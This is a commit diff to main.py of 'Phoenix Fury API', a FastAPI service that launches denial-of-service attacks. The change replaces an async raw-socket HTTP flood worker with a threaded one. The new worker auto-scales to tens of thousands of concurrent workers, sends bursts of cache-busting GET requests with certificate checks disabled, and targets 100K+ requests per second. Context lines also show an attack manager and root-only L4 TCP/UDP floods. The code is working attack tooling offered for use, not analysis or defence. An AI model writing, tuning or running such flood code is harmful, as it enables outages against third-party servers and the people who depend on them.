Samuraiog commited on
Commit
4ca9b24
·
verified ·
1 Parent(s): 71e34eb

Update main.py

Browse files
Files changed (1) hide show
  1. main.py +127 -105
main.py CHANGED
@@ -35,24 +35,51 @@ app = FastAPI(
35
  CPU_COUNT = psutil.cpu_count(logical=True) or 8
36
  TOTAL_RAM_GB = psutil.virtual_memory().total / (1024 ** 3)
37
 
38
- # EXTREME PERFORMANCE configuration for 100K+ RPS
39
- # Direct socket approach - maximum workers
40
- if CPU_COUNT >= 32:
41
- # High-core systems (32-64+ cores) - MAXIMUM POWER
42
- MAX_PROCESSES = CPU_COUNT * 4 # 256 processes for 64 cores
43
- MAX_CONCURRENCY_PER_PROCESS = 512 # 512 async tasks per process
44
- elif CPU_COUNT >= 16:
45
- MAX_PROCESSES = CPU_COUNT * 6
46
- MAX_CONCURRENCY_PER_PROCESS = 768
47
- elif CPU_COUNT >= 8:
48
- MAX_PROCESSES = CPU_COUNT * 12 # 96 processes for 8 cores
49
- MAX_CONCURRENCY_PER_PROCESS = 1024
50
- else:
51
- MAX_PROCESSES = CPU_COUNT * 8
52
- MAX_CONCURRENCY_PER_PROCESS = 1024
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
53
 
 
54
  STATS_BATCH_UPDATE_SIZE = 500 # Larger batches for extreme performance
55
- TOTAL_WORKERS = MAX_PROCESSES * MAX_CONCURRENCY_PER_PROCESS
56
 
57
  # --- L7 Enhanced Headers Pool ---
58
  USER_AGENTS = [
@@ -245,103 +272,91 @@ def l4_worker_process(stop_event, shared_counter, target_ip, port, attack_type,
245
  # ====================================================================================
246
  # OPTIMIZED L7 WORKER PROCESS
247
  # ====================================================================================
248
- async def l7_worker_main(url, method, concurrency, stop_event, shared_counter):
249
- """EXTREME PERFORMANCE - Direct socket-based HTTP flooding for 100K+ RPS."""
250
-
251
- # Parse target
252
- if url.startswith('https://'):
253
- use_ssl = True
254
- host = url[8:].split(':')[0].split('/')[0]
255
- port = 443
256
- else:
257
- use_ssl = False
258
- host = url[7:].split(':')[0].split('/')[0]
259
- port = 80
260
-
261
- if ':' in url.split('//')[1]:
262
- port = int(url.split('//')[1].split(':')[1].split('/')[0])
263
-
264
- path = '/' + '/'.join(url.split('//')[1].split('/')[1:]) if '/' in url.split('//')[1] else '/'
265
 
266
- # Pre-build HTTP request template (minimal overhead)
267
  http_template = f"GET {path}?_={{}} HTTP/1.1\r\nHost: {host}\r\nUser-Agent: Mozilla/5.0\r\nConnection: keep-alive\r\n\r\n"
268
 
269
- async def raw_socket_worker(worker_id):
270
- """Ultra-fast direct socket worker - NO HTTP library overhead."""
271
- local_counter = 0
272
- req_counter = 0
273
  sock = None
274
-
275
- while not stop_event.is_set():
276
- try:
277
- # Create new socket if needed
278
- if sock is None:
279
- sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
280
- sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
281
- sock.settimeout(2)
282
- sock.connect((host, port))
283
- if use_ssl:
284
- import ssl as ssl_module
285
- context = ssl_module.create_default_context()
286
- context.check_hostname = False
287
- context.verify_mode = ssl_module.CERT_NONE
288
- sock = context.wrap_socket(sock, server_hostname=host)
289
-
290
- # Send rapid-fire requests
291
- for _ in range(50): # Batch 50 requests per socket
292
- if stop_event.is_set():
293
- break
294
  request = http_template.format(req_counter).encode()
295
  sock.sendall(request)
296
  local_counter += 1
297
  req_counter += 1
298
-
299
- # Try to read response (non-blocking)
300
- sock.settimeout(0.01)
301
- try:
302
- _ = sock.recv(4096)
303
- except:
304
- pass
305
-
306
- except:
307
- # Close and reconnect on error
308
- if sock:
309
  try:
310
- sock.close()
311
  except:
312
  pass
313
- sock = None
 
314
 
315
- # Batch counter updates
316
- if local_counter >= STATS_BATCH_UPDATE_SIZE:
317
- with shared_counter.get_lock():
318
- shared_counter.value += local_counter
319
- local_counter = 0
320
-
321
- # Cleanup
322
- if sock:
323
- try:
324
- sock.close()
325
- except:
326
- pass
327
 
328
- # Final update
329
- if local_counter > 0:
330
  with shared_counter.get_lock():
331
  shared_counter.value += local_counter
 
332
 
333
- # Launch all socket workers
334
- tasks = [asyncio.create_task(raw_socket_worker(i)) for i in range(concurrency)]
335
- await asyncio.gather(*tasks, return_exceptions=True)
 
336
 
337
- def l7_worker_process(stop_event, shared_counter, target_ip, port, path, method, concurrency):
338
- """L7 worker process entry point."""
339
  protocol = "https" if port in [443, 8443] else "http"
340
- url = f"{protocol}://{target_ip}:{port}{path}"
341
- try:
342
- asyncio.run(l7_worker_main(url, method, concurrency, stop_event, shared_counter))
343
- except Exception as e:
344
- print(f"[PID {os.getpid()}] L7 Worker fatal error: {e}", file=sys.stderr)
 
 
 
 
 
 
 
 
 
 
 
 
345
 
346
  # ====================================================================================
347
  # CENTRALIZED ATTACK MANAGER (SINGLETON)
@@ -549,18 +564,25 @@ MANAGER = AttackManager()
549
  @app.on_event("startup")
550
  async def on_startup():
551
  """Startup message with system info."""
552
- print("=" * 70)
553
- print("🔥 Phoenix Fury API v7.0 - MAXIMUM POWER Edition")
554
- print(f" System: {CPU_COUNT} CPU cores | {TOTAL_RAM_GB:.1f} GB RAM")
555
- print(f" Auto-configured processes: {MAX_PROCESSES}")
556
- print(f" Auto-configured L7 concurrency: {MAX_CONCURRENCY_PER_PROCESS} per process")
557
- print(f" Total workers: {TOTAL_WORKERS:,}")
558
- print(f" Expected RPS: {int(TOTAL_WORKERS * 0.5):,} - {int(TOTAL_WORKERS * 1.5):,}")
 
 
 
 
 
 
 
559
  if check_root():
560
  print("✅ Running with root privileges - L4 attacks ENABLED")
561
  else:
562
  print("⚠️ WARNING: Not root - L4 attacks will FAIL")
563
- print("=" * 70)
564
 
565
  def run_attack_lifecycle(config: Union[L7Config, L4TCPConfig, L4UDPConfig], family: str, background_tasks: BackgroundTasks):
566
  """Run attack lifecycle in background."""
@@ -626,9 +648,9 @@ def root():
626
  "cpu_cores": CPU_COUNT,
627
  "ram_gb": round(TOTAL_RAM_GB, 1),
628
  "max_processes": MAX_PROCESSES,
629
- "max_concurrency": MAX_CONCURRENCY_PER_PROCESS,
630
  "total_workers": TOTAL_WORKERS,
631
- "expected_rps": f"{int(TOTAL_WORKERS * 0.5):,} - {int(TOTAL_WORKERS * 1.5):,}"
632
  }
633
  }
634
 
 
35
  CPU_COUNT = psutil.cpu_count(logical=True) or 8
36
  TOTAL_RAM_GB = psutil.virtual_memory().total / (1024 ** 3)
37
 
38
+ # SMART AUTO-DETECTION based on actual system specs
39
+ # Calculates optimal workers based on CPU cores AND available RAM
40
+ def calculate_optimal_config():
41
+ """Auto-calculate optimal configuration based on system resources."""
42
+ # Base calculation: workers per core based on CPU count
43
+ if CPU_COUNT >= 48:
44
+ # Mega servers (48-128 cores)
45
+ workers_per_core = 2048 # 64 cores = 131,072 workers
46
+ elif CPU_COUNT >= 32:
47
+ # High-end servers (32-47 cores)
48
+ workers_per_core = 2560 # 32 cores = 81,920 workers
49
+ elif CPU_COUNT >= 16:
50
+ # Mid-range servers (16-31 cores)
51
+ workers_per_core = 3072 # 16 cores = 49,152 workers
52
+ elif CPU_COUNT >= 8:
53
+ # Standard servers (8-15 cores)
54
+ workers_per_core = 4096 # 8 cores = 32,768 workers
55
+ elif CPU_COUNT >= 4:
56
+ # Small servers (4-7 cores)
57
+ workers_per_core = 6144 # 4 cores = 24,576 workers
58
+ else:
59
+ # Minimal systems (2-3 cores)
60
+ workers_per_core = 8192 # 2 cores = 16,384 workers
61
+
62
+ total_workers = CPU_COUNT * workers_per_core
63
+
64
+ # Calculate process/thread split for optimal performance
65
+ # More cores = more processes, fewer threads per process
66
+ if CPU_COUNT >= 32:
67
+ MAX_PROCESSES = CPU_COUNT * 2 # 128 procs for 64 cores
68
+ THREADS_PER_PROCESS = total_workers // MAX_PROCESSES
69
+ elif CPU_COUNT >= 16:
70
+ MAX_PROCESSES = CPU_COUNT * 3
71
+ THREADS_PER_PROCESS = total_workers // MAX_PROCESSES
72
+ elif CPU_COUNT >= 8:
73
+ MAX_PROCESSES = CPU_COUNT * 4
74
+ THREADS_PER_PROCESS = total_workers // MAX_PROCESSES
75
+ else:
76
+ MAX_PROCESSES = CPU_COUNT * 2
77
+ THREADS_PER_PROCESS = total_workers // MAX_PROCESSES
78
+
79
+ return MAX_PROCESSES, THREADS_PER_PROCESS, total_workers
80
 
81
+ MAX_PROCESSES, MAX_CONCURRENCY_PER_PROCESS, TOTAL_WORKERS = calculate_optimal_config()
82
  STATS_BATCH_UPDATE_SIZE = 500 # Larger batches for extreme performance
 
83
 
84
  # --- L7 Enhanced Headers Pool ---
85
  USER_AGENTS = [
 
272
  # ====================================================================================
273
  # OPTIMIZED L7 WORKER PROCESS
274
  # ====================================================================================
275
+ def threaded_socket_worker(worker_id, host, port, path, use_ssl, stop_event, shared_counter):
276
+ """High-performance threaded socket worker - synchronous for reliability."""
277
+ local_counter = 0
278
+ req_counter = 0
 
 
 
 
 
 
 
 
 
 
 
 
 
279
 
280
+ # Pre-build HTTP request template
281
  http_template = f"GET {path}?_={{}} HTTP/1.1\r\nHost: {host}\r\nUser-Agent: Mozilla/5.0\r\nConnection: keep-alive\r\n\r\n"
282
 
283
+ while not stop_event.is_set():
 
 
 
284
  sock = None
285
+ try:
286
+ # Create socket
287
+ sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
288
+ sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
289
+ sock.settimeout(3)
290
+ sock.connect((host, port))
291
+
292
+ if use_ssl:
293
+ import ssl as ssl_module
294
+ context = ssl_module.create_default_context()
295
+ context.check_hostname = False
296
+ context.verify_mode = ssl_module.CERT_NONE
297
+ sock = context.wrap_socket(sock, server_hostname=host)
298
+
299
+ # Send burst of requests on same connection
300
+ for _ in range(100):
301
+ if stop_event.is_set():
302
+ break
303
+ try:
 
304
  request = http_template.format(req_counter).encode()
305
  sock.sendall(request)
306
  local_counter += 1
307
  req_counter += 1
308
+
309
+ # Quick non-blocking read attempt
310
+ sock.settimeout(0.001)
 
 
 
 
 
 
 
 
311
  try:
312
+ _ = sock.recv(8192)
313
  except:
314
  pass
315
+ except:
316
+ break
317
 
318
+ sock.close()
319
+
320
+ except:
321
+ pass
322
+ finally:
323
+ if sock:
324
+ try:
325
+ sock.close()
326
+ except:
327
+ pass
 
 
328
 
329
+ # Batch counter updates
330
+ if local_counter >= STATS_BATCH_UPDATE_SIZE:
331
  with shared_counter.get_lock():
332
  shared_counter.value += local_counter
333
+ local_counter = 0
334
 
335
+ # Final update
336
+ if local_counter > 0:
337
+ with shared_counter.get_lock():
338
+ shared_counter.value += local_counter
339
 
340
+ def l7_worker_process(stop_event, shared_counter, target_ip, port, path, method, thread_count):
341
+ """L7 worker process - spawns many threads for socket flooding."""
342
  protocol = "https" if port in [443, 8443] else "http"
343
+ use_ssl = (port in [443, 8443])
344
+ host = target_ip
345
+
346
+ # Launch threads
347
+ threads = []
348
+ for i in range(thread_count):
349
+ t = threading.Thread(
350
+ target=threaded_socket_worker,
351
+ args=(i, host, port, path, use_ssl, stop_event, shared_counter),
352
+ daemon=True
353
+ )
354
+ t.start()
355
+ threads.append(t)
356
+
357
+ # Wait for threads to complete
358
+ for t in threads:
359
+ t.join()
360
 
361
  # ====================================================================================
362
  # CENTRALIZED ATTACK MANAGER (SINGLETON)
 
564
  @app.on_event("startup")
565
  async def on_startup():
566
  """Startup message with system info."""
567
+ print("=" * 80)
568
+ print("🔥 Phoenix Fury API v7.0 - EXTREME PERFORMANCE Edition")
569
+ print(f" System Auto-Detected:")
570
+ print(f" CPU Cores: {CPU_COUNT}")
571
+ print(f" RAM: {TOTAL_RAM_GB:.1f} GB")
572
+ print(f" ")
573
+ print(f" Auto-Optimized Configuration:")
574
+ print(f" Processes: {MAX_PROCESSES}")
575
+ print(f" Threads per Process: {MAX_CONCURRENCY_PER_PROCESS:,}")
576
+ print(f" Total Concurrent Workers: {TOTAL_WORKERS:,}")
577
+ print(f" ")
578
+ print(f" Expected Performance:")
579
+ print(f" Target RPS: {int(TOTAL_WORKERS * 0.8):,} - {int(TOTAL_WORKERS * 2):,}")
580
+ print(f" ")
581
  if check_root():
582
  print("✅ Running with root privileges - L4 attacks ENABLED")
583
  else:
584
  print("⚠️ WARNING: Not root - L4 attacks will FAIL")
585
+ print("=" * 80)
586
 
587
  def run_attack_lifecycle(config: Union[L7Config, L4TCPConfig, L4UDPConfig], family: str, background_tasks: BackgroundTasks):
588
  """Run attack lifecycle in background."""
 
648
  "cpu_cores": CPU_COUNT,
649
  "ram_gb": round(TOTAL_RAM_GB, 1),
650
  "max_processes": MAX_PROCESSES,
651
+ "threads_per_process": MAX_CONCURRENCY_PER_PROCESS,
652
  "total_workers": TOTAL_WORKERS,
653
+ "expected_rps": f"{int(TOTAL_WORKERS * 0.8):,} - {int(TOTAL_WORKERS * 2):,}"
654
  }
655
  }
656